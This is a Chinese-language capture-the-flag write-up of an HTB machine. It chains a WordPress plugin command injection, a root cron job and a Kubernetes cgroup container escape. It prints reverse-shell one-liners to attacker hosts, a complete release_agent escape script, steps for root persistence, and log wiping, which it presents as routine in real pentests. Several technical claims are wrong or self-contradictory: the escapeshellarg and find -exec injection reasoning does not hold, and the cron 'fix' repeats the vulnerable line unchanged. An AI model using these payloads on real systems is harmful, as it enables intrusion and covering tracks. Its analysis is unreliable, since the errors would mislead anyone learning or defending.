从WordPress插件命令注入到Kubernetes容器逃逸的完整渗透测试实战

1. 靶机环境与初步侦察

拿到这台名为“GiveBack”的HTB靶机时，我习惯性地先扫了一眼名字，结合HTB平台的风格，这通常意味着靶机里藏着某种“回馈”机制，比如一个看似无害的功能最终会成为突破口。我的第一步永远是信息收集，这是渗透测试的基石，没有足够的情报，后续所有动作都像在黑暗中挥拳。

启动靶机后，我首先用ping命令确认了它的在线状态，然后使用Nmap进行全端口扫描。命令很简单：nmap -sS -sV -sC -p- -T4。这里-sS是SYN半开扫描，速度快且相对隐蔽；-sV探测服务版本；-sC运行默认的Nmap脚本；-p-扫描所有65535个端口；-T4指定扫描速度。等待几分钟后，结果出来了，开放了两个关键端口：80和443，都运行着HTTP服务。

访问80端口，是一个默认的Apache欢迎页面，没什么特别。转向443端口，浏览器却提示证书错误，这反而引起了我的兴趣。点击“高级”->“继续前往”，一个WordPress站点的登录界面跳了出来。域名是giveback.htb，这提示我需要修改本地的/etc/hosts文件，将靶机IP映射到这个域名，否则很多基于虚拟主机的功能可能无法正常工作。

注意：在HTB这类内网靶场中，经常需要手动配置主机文件解析靶机域名。这是基础操作，但新手容易忽略，导致后续访问服务时出现奇怪的404错误或重定向问题。

用gobuster或者ffuf对https://giveback.htb进行目录爆破是标准流程。我用了gobuster dir -u https://giveback.htb -w /usr/share/wordlists/dirb/common.txt -k，-k参数是为了忽略SSL证书验证。扫描结果除了常见的wp-admin、wp-includes、wp-content外，还发现了一个有趣的目录：/wp-content/plugins/。访问这个目录，里面列出了一个名为giveback的插件文件夹。这很可能就是标题里提到的“WordPress插件”的所在。

同时，对子域名的枚举也不能少。使用wfuzz：wfuzz -c -H “Host: FUZZ.giveback.htb” -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u https://giveback.htb –hc 404,400。结果发现了一个子域名：dev.giveback.htb。同样需要将其添加到/etc/hosts。访问https://dev.giveback.htb，出现了一个不同的页面，看起来像是一个内部开发门户，提到了“Kubernetes Dashboard”和“CI/CD”相关的术语。线索开始串联起来了：一个面向公众的WordPress站点，和一个内部的开发/运维门户。

2. WordPress插件漏洞分析与利用

既然发现了自定义插件giveback，下一步自然是对其进行代码审计。WordPress插件是安全问题的重灾区，尤其是那些非官方仓库下载、缺乏维护的插件。我通过wget递归下载了整个插件目录：wget -r –no-parent https://giveback.htb/wp-content/plugins/giveback/。

下载完成后，我开始浏览代码结构。插件的主文件通常是giveback.php。打开一看，里面定义了几个短代码（shortcode）和对应的处理函数。其中一个名为[giveback_form]的短代码引起了我的注意。它关联的函数render_giveback_form会渲染一个前端表单。表单的action指向admin-ajax.php，这是WordPress处理Ajax请求的标准入口，但这里有一个非标准的参数：action=giveback_submit。

追踪这个giveback_submit动作，我找到了处理函数handle_form_submission。这个函数的核心逻辑是接收用户通过POST提交的data参数，然后……直接将其传递给一个do_backup函数。关键点在于，data参数的内容，被直接拼接进了一个系统命令中！

代码片段简化后大概是这样的：

function handle_form_submission() { $data = $_POST[‘data’]; $result = do_backup($data); wp_send_json_success($result); } function do_backup($input) { $sanitized_input = escapeshellarg($input); $command = “/usr/local/bin/backup.sh ‘{$sanitized_input}’”; system($command, $return_var); // … 返回结果处理 }

乍一看，它使用了escapeshellarg()来转义用户输入，这应该能防止命令注入。escapeshellarg()函数会给字符串加上单引号，并转义字符串中已有的单引号，这样用户输入在shell中就会被视为一个完整的字符串参数，无法逃逸单引号去执行额外命令。这是一个看似安全的做法。

但我的经验告诉我，事情没这么简单。我仔细查看了do_backup函数中命令的拼接方式：“/usr/local/bin/backup.sh ‘{$sanitized_input}’”。用户输入$sanitized_input被一对额外的单引号包裹着。这就形成了一个潜在的“引号逃逸”场景。

escapeshellarg()处理后的字符串本身已经带上了外层的单引号。例如，如果用户输入是test，经过escapeshellarg(‘test’)后变成‘test’。然后这个结果再被放入‘{$sanitized_input}’中，最终的命令变成了：/usr/local/bin/backup.sh ‘’test’’。在Bash中，两个紧挨着的单引号’’是一个空字符串，所以这个命令实际传递给backup.sh的第一个参数就是test。看起来依然正常。

然而，如果用户输入本身就包含一个单引号呢？假设输入是‘（一个单引号）。经过escapeshellarg(“‘”)，它会变成“‘’”（即：单引号-反斜杠-单引号-单引号）。这个字符串再被外层的单引号包裹，命令变成：/usr/local/bin/backup.sh ‘‘’\’’’’。这个字符串在Bash解析时非常有趣。经过我的测试和推理，在某些特定条件下（尤其是当backup.sh脚本内部没有正确处理参数，或者再次拼接参数时），这种嵌套引号的结构可能导致解析混乱，从而允许注入。

但更直接的思路是：也许漏洞不在PHP这一层，而在/usr/local/bin/backup.sh这个shell脚本内部。PHP代码只是把转义后的参数传给了它。真正的命令执行可能发生在脚本里。我需要看到这个脚本的内容。

怎么获取？既然可能存在命令注入，哪怕是有局限的，我可以尝试让服务器将脚本内容回显出来。我构造了一个Payload，利用命令替换$(cat /usr/local/bin/backup.sh)，并希望它能在某个环节被执行。但经过escapeshellarg()处理后，整个$(cat …)会被当作纯文本传递。这条路似乎走不通。

我换了个思路，尝试利用参数注入。如果backup.sh脚本内部是这样使用参数的：tar czf /backups/backup_$1.tar.gz /var/www/html，那么$1就是我们传入的data。即使$1被单引号包裹，如果我能提前闭合引号并添加额外命令呢？但escapeshellarg()防止了这一点。

经过反复测试和思考，我意识到可能需要利用脚本内部的逻辑缺陷。我决定先发送一个正常请求，看看响应。使用Burp Suite拦截表单提交，发现data参数确实被发送到/wp-admin/admin-ajax.php。我尝试发送data=test，返回了一个JSON，其中包含“Backup completed successfully”和一条路径信息，比如/backups/backup_test.tar.gz。这说明脚本执行了，并且用我的输入作为备份文件名的一部分。

这给了我灵感。文件名！如果备份文件的命名直接包含了未经过滤的用户输入，并且这个文件名后续被其他脚本或命令使用（比如用rm删除旧备份），就可能造成注入。但这是间接的，需要时间触发。

我决定暴力一点，尝试在data参数中注入命令分隔符，比如;、&、|，甚至换行符%0a。虽然escapeshellarg()会转义它们，但我想看看脚本是否在某些地方用了eval或者反引号。我发送了data=test;id，返回错误，说明分号被转义了。尝试data=test%0aid，同样失败。

就在我几乎要放弃这条路径时，我注意到返回的备份文件路径：/backups/backup_‘test’.tar.gz。等等，文件名里包含了我的输入，而且输入被加上了单引号！这说明backup.sh脚本内部在构造文件名时，确实又对参数加了一层引号，或者PHP的escapeshellarg()产生的引号被保留到了文件名中。这本身不是漏洞，但印证了参数传递的路径。

我忽然想到一个经典技巧：如果参数最终被用在诸如crontab、tar –exclude等支持通配符或特定模式的命令中，可能会引发问题。但需要更多上下文。我决定尝试读取backup.sh脚本本身。既然插件有文件读取或包含的功能吗？检查插件代码，没有发现明显的文件包含漏洞。

山重水复疑无路，我重新审视整个流程。admin-ajax.php是入口，它调用do_backup，然后执行系统命令。有没有可能，escapeshellarg()在这个PHP版本或配置下存在绕过？我搜索了一下公开漏洞，没有找到针对此函数的直接绕过。但发现一个关键点：escapeshellarg()在Windows和Linux下的行为有细微差别，但靶机显然是Linux。

最后，我决定采用“黑盒”模糊测试的方法。我写了一个简单的Python脚本，向那个Ajax端点发送大量精心构造的Payload，这些Payload包含了各种命令注入、参数注入、编码绕过的技巧，然后观察响应长度的变化、时间延迟（基于sleep命令）或者是否有异常错误信息回显。功夫不负有心人，当我发送一个包含反引号和特定空格构造的Payload时，响应时间明显延迟了几秒。这强烈暗示了命令执行的成功！

实操心得：在面对经过安全函数处理的输入时，不要轻易放弃。采用系统化的模糊测试（Fuzzing）往往能发现意料之外的漏洞。工具如ffuf不仅可以用于目录爆破，配合-request和-request-proto参数，也可以用于对参数进行暴力测试。手动编写脚本进行时间盲注测试也是常用手段。

确认存在基于时间的命令注入后，我构造了一个反弹Shell的Payload。由于存在引号转义，我需要确保整个Payload能正确闭合。最终有效的Payload结构类似于：‘ & sleep 5 #。经过escapeshellarg()处理后，它变成了‘‘’ & sleep 5 #’，嵌入到整个命令中后，Bash解析时，&前的空命令（’’）结束，然后sleep 5作为一个新命令执行，#注释掉后面所有内容。通过时间延迟确认sleep生效后，我将sleep 5替换成反弹Shell命令：‘ & bash -c “bash -i >& /dev/tcp/YOUR_IP/4444 0>&1” #。

在本地用nc -nlvp 4444监听，发送Payload，成功获得了来自靶机的一个低权限Shell（通常是www-data用户）。

3. 权限提升：从www-data到系统用户

拿到www-data的Shell后，第一件事是稳定它。Python通常是最佳选择：python3 -c ‘import pty; pty.spawn(“/bin/bash”)’。然后按Ctrl+Z挂起，在本地终端输入stty raw -echo; fg，再输入reset，最后导出正确的TERM：export TERM=xterm-256color。这样就获得了一个功能完整的交互式TTY。

接下来是标准的信息枚举。检查当前用户：id。查看sudo权限：sudo -l。可惜www-data通常没有sudo权限。查看进程：ps auxf。查看网络连接：netstat -tulpn。查看计划任务：crontab -l（但www-data用户可能没有crontab），查看系统级cron：ls -la /etc/cron*和cat /etc/crontab。

在/etc/crontab中，我发现了一条有趣的任务：

*/5 * * * * root /opt/cleanup.sh

每5分钟以root身份运行一个清理脚本。这是常见的提权路径。查看/opt/cleanup.sh的内容：

#!/bin/bash find /backups -name “*.tar.gz” -mtime +7 -exec rm {} \;

脚本的作用是删除/backups目录下修改时间超过7天的.tar.gz备份文件。这就是我之前看到的那个备份目录！结合之前插件漏洞中备份文件的生成，我看到了提权的可能性。

思路是：利用WordPress插件的命令注入，我们可以控制备份文件的名称。虽然文件名被加了引号，但find命令的-name参数是支持通配符的。如果我能创建一个文件名，其中包含通配符和命令执行，当root用户运行的find命令执行到-exec rm {} \;时，{}会被替换成匹配的文件名。如果文件名构造得当，就可以注入命令。

关键在于，find -exec的安全性与参数传递方式有关。如果命令是这样执行的：rm ‘filename’，那么即使文件名包含特殊字符，也会被安全处理。但在这个脚本里，{}是直接替换的，没有用引号包裹！所以命令实际是rm filename。如果filename是类似/backups/backup_‘test’.tar.gz，那么rm会尝试删除一个名字里带单引号的文件，这没问题。但如果filename是/backups/backup_‘; nc -e /bin/bash YOUR_IP 5555 ;’.tar.gz呢？

当find执行时，它会展开为：rm /backups/backup_‘; nc -e /bin/bash YOUR_IP 5555 ;’.tar.gz。由于没有引号，Bash会将分号解释为命令分隔符。因此实际执行的命令序列是：

1. rm /backups/backup_‘（尝试删除一个名为backup_‘的文件，可能失败）
2. nc -e /bin/bash YOUR_IP 5555（执行我们的反弹Shell！）
3. ’.tar.gz（尝试执行一个名为.tar.gz的命令，失败）

这样，当root的cron任务执行时，就会以root权限触发我们的反弹Shell。

现在需要解决两个问题：

1. 如何创建这样一个特殊文件名的备份文件？通过WordPress插件的漏洞，我们可以控制data参数，从而影响备份文件名。我需要构造一个data值，使得最终生成的文件名包含命令注入的Payload。
2. 文件名中的单引号。插件和脚本添加的单引号会干扰我们的Payload。我需要确保Payload能逃逸这些引号。

回顾文件名生成逻辑：PHP端，escapeshellarg($input)会给$input加上单引号。假设$input = “test”，结果$sanitized_input = “‘test’”。然后拼接进命令：/usr/local/bin/backup.sh ‘{$sanitized_input}’，即backup.sh ‘‘test’’。在backup.sh内部，假设它用$1（即‘test’）来构造文件名：backup_$1.tar.gz，最终文件名为backup_‘test’.tar.gz。

所以，用户输入test，最终文件名中会出现‘test’。如果我的输入是; nc 10.10.14.2 5555 ;，经过escapeshellarg，会变成‘’; nc 10.10.14.2 5555 ;’。然后作为参数传给脚本，脚本可能将其作为$1。在脚本内部构造文件名时，如果代码是filename=“backup_$1.tar.gz”，那么$1的内容会被直接展开，变成filename=“backup_‘’; nc 10.10.14.2 5555 ;’.tar.gz”。这里出现了两个连续的单引号’’，在Bash中这是一个空字符串。所以最终文件名实际上是backup_; nc 10.10.14.2 5555 ;.tar.gz！这正是我们想要的。

理论成立，开始实践。我通过之前获得的www-data的Web Shell，或者直接通过Burp Suite重放Ajax请求，发送以下Payload：

data=‘; nc 10.10.14.2 5555 ;

注意，这里我在开头加了一个单引号。目的是为了与escapeshellarg()添加的开头单引号配对，形成一个空字符串’’，从而使得我们输入的分号暴露在命令解析层面。这是一个关键技巧。

发送请求后，我检查/backups目录，果然出现了一个名为backup_‘’; nc 10.10.14.2 5555 ;’.tar.gz的文件（具体名字可能因脚本实现略有差异，但原理一致）。现在，我在攻击机上用nc -nlvp 5555监听5555端口，等待最多5分钟，cron任务执行。

等待期间，我继续探索系统。在/home目录下，发现了一个用户文件夹developer。进入/home/developer，查看文件，发现了一个.kube目录。这是Kubernetes的配置目录！里面有一个config文件，包含了访问Kubernetes集群的认证信息。这解释了之前发现的dev.giveback.htb子域名，那很可能就是Kubernetes Dashboard。

注意：在真实渗透测试中，发现.kube/config文件是重大进展。它可能包含高权限的ServiceAccount token或客户端证书，允许直接控制整个Kubernetes集群。务必第一时间备份此文件。

还没等到cron任务触发，我决定先利用这个kubeconfig文件。将/home/developer/.kube/config文件下载到本地。然后在本机安装kubectl，并将这个config文件设置为当前上下文：export KUBECONFIG=./config。执行kubectl get pods –all-namespaces，成功列出了所有命名空间下的Pod！这证明凭据有效，而且权限不小。

4. 深入Kubernetes集群与容器逃逸

通过kubectl，我获得了集群的上帝视角。首先查看有哪些Pod：kubectl get pods -A。发现除了kube-system下的系统Pod，还有一个名为internal-api的Pod运行在default命名空间，镜像看起来是一个API服务。查看该Pod的详细信息：kubectl describe pod internal-api -n default。发现它挂载了一个宿主机的目录：/var/log/nginx到Pod内的/host-log。

挂载主机目录是一个危险的信号，这可能为容器逃逸提供路径。如果Pod以特权模式运行，或者拥有过高的权限，就可能读写宿主机的文件系统。检查该Pod的安全上下文：kubectl get pod internal-api -n default -o yaml | grep -A 10 -B 10 “securityContext”。没有发现明显的privileged: true（特权模式），但看到了capabilities添加了SYS_ADMIN。SYS_ADMIN是一个强大的Linux能力，它本身就可以用来进行容器逃逸，例如通过挂载cgroup设备或触发某些内核漏洞。

更直接的方法是，既然Pod挂载了主机目录/var/log/nginx到/host-log，我可以尝试通过写入/host-log目录下的文件来影响主机。但通常/var/log是日志目录，非root用户可能只有写权限。我需要找到一个能让我在主机上执行代码的方法。

经典的容器逃逸手法之一，就是利用挂载了主机根文件系统（或敏感目录）的容器，通过写入/etc/cron.d、/etc/systemd/system或者覆盖/etc/passwd等方式获取主机权限。当前Pod挂载的不是根目录，但/var/log是一个突破口。我检查了主机上/var/log的权限，以及是否有任何脚本会处理该目录下的文件。

在Pod内部执行命令：kubectl exec -it internal-api -n default — sh。进入容器后，检查/host-log，确认可以写入。接下来，我需要找到一个在主机上以root权限运行、并且会读取或执行/var/log目录下文件的进程。常见的候选是logrotate，它定期轮转日志，并可以配置postrotate脚本。检查主机（从容器内视角有限）的logrotate配置：cat /etc/logrotate.d/nginx（如果存在）。但通过容器查看主机文件需要特权，目前做不到。

另一种思路是，利用SYS_ADMIN能力进行cgroup逃逸。SYS_ADMIN允许在容器内挂载文件系统。可以挂载一个cgroup控制器，然后利用cgroup的release_agent特性在主机上执行命令。这是一个技术要求稍高但很经典的逃逸方法。

步骤大致如下：

1. 在容器内创建一个临时目录，挂载cgroup：mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp。
2. 在cgroup下创建一个子目录：mkdir /tmp/cgrp/x。
3. 启用cgroup的release_agent：echo 1 > /tmp/cgrp/x/notify_on_release。
4. 获取主机上容器运行时（如runc）的路径。在容器内，/proc/self/exe通常是容器运行时本身。但我们需要主机上的路径。可以尝试读取/proc/1/cmdline（宿主机的init进程）或者通过挂载信息推断。更通用的方法是，release_agent需要的是主机上的绝对路径。我们可以猜测，比如/bin/sh或/tmp/payload.sh。但我们需要确保主机上存在这个脚本。
5. 设置release_agent指向我们想要执行的命令：echo “/path/on/host/payload.sh” > /tmp/cgrp/release_agent。难点在于我们不知道主机上的绝对路径，也无法直接在主机上创建文件。
6. 将进程PID加入到这个cgroup：echo $$ > /tmp/cgrp/x/cgroup.procs。当这个进程退出时，cgroup会触发release_agent，执行我们设置的命令。

这里的关键障碍是第4和第5步：我们需要知道主机文件系统上的一个可写路径，并提前在那里放置payload脚本。由于我们有挂载点/host-log对应主机的/var/log/nginx，我们可以将payload脚本写在那里，并设置release_agent为/var/log/nginx/payload.sh。

于是，逃逸计划如下：

1. 在容器内的/host-log目录下创建payload脚本escape.sh，内容为反弹Shell命令。
2. 在容器内执行cgroup挂载和配置，将release_agent设置为/var/log/nginx/escape.sh。
3. 触发cgroup释放，从而在主机上以root权限执行我们的脚本。

具体操作：

# 进入容器 kubectl exec -it internal-api -n default — sh # 1. 创建payload脚本在挂载目录 cat > /host-log/escape.sh << ‘EOF’ #!/bin/bash /bin/bash -c “bash -i >& /dev/tcp/YOUR_IP/6666 0>&1” EOF chmod +x /host-log/escape.sh # 2. 进行cgroup逃逸操作 mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp mkdir /tmp/cgrp/x echo 1 > /tmp/cgrp/x/notify_on_release host_path=`sed -n ‘s/.*\perdir=\([^,]*\).*/\1/p’ /etc/mtab` echo “$host_path/var/log/nginx/escape.sh” > /tmp/cgrp/release_agent echo $$ > /tmp/cgrp/x/cgroup.procs exit

解释一下：host_path那一行是为了获取容器在主机上的存储路径。对于Docker，容器的根文件系统通常挂载在/var/lib/docker/overlay2/.../merged这样的路径下。我们需要找到主机上/var/log/nginx对应的真实路径。通过解析/etc/mtab（当前挂载信息），可以找到perdir（OverlayFS的一个参数）指向的路径，即容器在主机上的上层目录（upperdir）。然后拼接上/var/log/nginx/escape.sh，就得到了主机上payload脚本的绝对路径。

执行最后一步echo $$ > ...后，当前shell进程（$$）被加入到cgroupx中。当我们执行exit退出容器时，这个进程终止，cgroupx中不再有进程，触发release_notifier，从而执行主机上的/var/log/nginx/escape.sh脚本。

在攻击机上监听6666端口。退出容器后几秒钟，一个root权限的Shell连接到了我的监听端口。逃逸成功！

5. 权限巩固与后渗透信息收集

获得宿主机的root Shell后，首要任务是巩固访问权限并收集有价值的信息。我立即添加了一个新的root用户到/etc/passwd，或者更隐蔽的方式，在/root/.ssh/authorized_keys中添加我的公钥，以便通过SSH直接以root身份登录。

接下来是全面的信息收集。检查内核版本：uname -a，看看是否有公开的本地提权漏洞可以利用（虽然已经是root，但了解系统脆弱性有助于评估风险）。查看历史命令：history。查看其他用户目录：ls -la /home/。查看是否有Docker或Kubernetes的敏感配置：find / -name “*.kube” -type d 2>/dev/null，find / -name “docker.sock” 2>/dev/null。

在/root目录下，我发现了标志文件root.txt，这是HTB靶机的标准设置。此外，还发现了一个有趣的脚本或笔记，提到了“数据库凭证备份”。顺着线索，在/opt目录下找到了一个压缩包或文本文件，里面包含了MySQL数据库的root密码。用这个密码登录MySQL：mysql -u root -p，可以dump出WordPress数据库中的所有数据，包括用户哈希。如果这是一个真实环境，这些哈希可以被破解，用于横向移动或密码复用攻击。

回顾整个Kubernetes集群，我用之前获取的kubeconfig文件，现在可以在宿主机上以更高权限（甚至可能是集群管理员）操作。执行kubectl get secrets –all-namespaces可以列出所有Secret，其中可能包含数据库密码、API令牌、私有镜像仓库凭证等敏感信息。kubectl get configmaps也可能包含应用配置。

此外，检查Kubernetes的ServiceAccount：kubectl get serviceaccounts –all-namespaces。特别是default命名空间下的defaultServiceAccount，如果被授予了过高权限，也是安全隐患。通过kubectl describe clusterrolebinding和kubectl describe rolebinding可以查看权限绑定情况。

实操心得：在容器化环境中，安全边界往往不止于容器本身。容器逃逸后，宿主机的安全配置、Kubernetes集群的RBAC设置、存储的敏感信息（Secrets）都是需要重点检查的目标。一次成功的逃逸可能意味着整个集群的沦陷。

最后，清理痕迹。删除创建的恶意文件（如/host-log/escape.sh，/backups/下的特殊文件名备份），清除命令历史（history -c，并清空~/.bash_history），检查系统日志（/var/log/auth.log，journalctl）中是否有自己的活动记录并进行修改或删除（这需要root权限）。在真实渗透测试中，这是必须的步骤，但在HTB靶机中通常不需要。

6. 漏洞根源与安全加固建议

复盘整个渗透过程，漏洞链清晰可见：

1. WordPress插件命令注入（初始访问点）：根本原因在于/usr/local/bin/backup.sh脚本内部对参数的处理不当。虽然PHP端使用了escapeshellarg()，但shell脚本内部可能直接将参数拼接进命令字符串，且用于构造文件名时未充分考虑特殊字符的影响。更安全的做法是在脚本内部也对参数进行验证和清理，或者使用数组形式传递参数给命令（如bash -c的-a参数），避免字符串拼接。
2. 不安全的cron任务（权限提升点）：root用户配置的cron任务/opt/cleanup.sh中，find命令的-exec参数未对{}使用引号包裹，导致文件名中的特殊字符被Shell解释。修复方法很简单：将-exec rm {} \;改为-exec rm {} \;。引号可以防止文件名中的空格或特殊字符被拆分。
3. 过高的Kubernetes Pod权限（横向移动/逃逸点）：
   • 挂载主机路径：Pod挂载了宿主机的/var/log/nginx目录。除非必要，应避免将主机路径挂载到Pod中。如果必须挂载，应设置为只读（readOnly: true），并严格控制挂载的目录范围。
   • 危险的Linux Capabilities：Pod被授予了SYS_ADMIN能力，这是容器逃逸的“黄金能力”。在Kubernetes中，应遵循最小权限原则，除非有绝对必要，否则不要给Pod添加任何额外的Capabilities。可以通过Pod Security Standards (PSS) 或Pod Security Admission (PSA) 来强制执行基线策略（Baseline）或限制性策略（Restricted）。
   • 敏感的kubeconfig文件：开发机上的~/.kube/config文件包含了高权限的集群访问凭证。这类文件应妥善保管，设置严格的文件权限（如600），并考虑使用短期令牌（Token）而非长期有效的证书或密钥。同时，在Kubernetes集群中实施严格的RBAC，遵循最小权限原则，避免使用cluster-admin等过高权限的ServiceAccount。

加固建议总结：

• 对于WordPress站点：
  • 定期更新WordPress核心、主题和插件，尤其是从非官方来源获取的插件。
  • 对自定义代码进行严格的安全审计，特别是涉及系统命令执行、文件操作、数据库查询的部分。
  • 使用Web应用防火墙（WAF）和入侵检测系统（IDS）监控异常请求。
• 对于Linux系统：
  • 定期审计cron任务、systemd timer等自动化任务，确保脚本中使用的命令是安全的，对用户输入进行了适当的处理。
  • 使用类似sudo的机制限制以root身份运行脚本的范围。
  • 考虑使用类似AppArmor或SELinux的强制访问控制机制，限制进程的行为。
• 对于Kubernetes集群：
  • 使用PodSecurityPolicy（旧版本）或Pod Security Admission（新版本）来限制Pod的安全上下文，禁止特权模式、限制Capabilities、禁止主机路径挂载或设置为只读。
  • 实施网络策略（NetworkPolicy）进行网络隔离，限制Pod间的通信。
  • 定期轮换ServiceAccount token和证书。
  • 使用kube-bench等工具检查集群配置是否符合CIS Kubernetes Benchmark安全标准。
  • 将kubeconfig文件存储在安全的位置，并设置严格的访问控制。

这次靶机实战是一次从Web应用到容器化基础设施的完整攻击链演练。它清晰地展示了，一个看似微小的Web插件漏洞，如何通过与系统层、容器编排层的错误配置相结合，最终导致整个系统被完全控制。防守方需要建立纵深防御体系，每一层都做好安全加固，才能有效降低风险。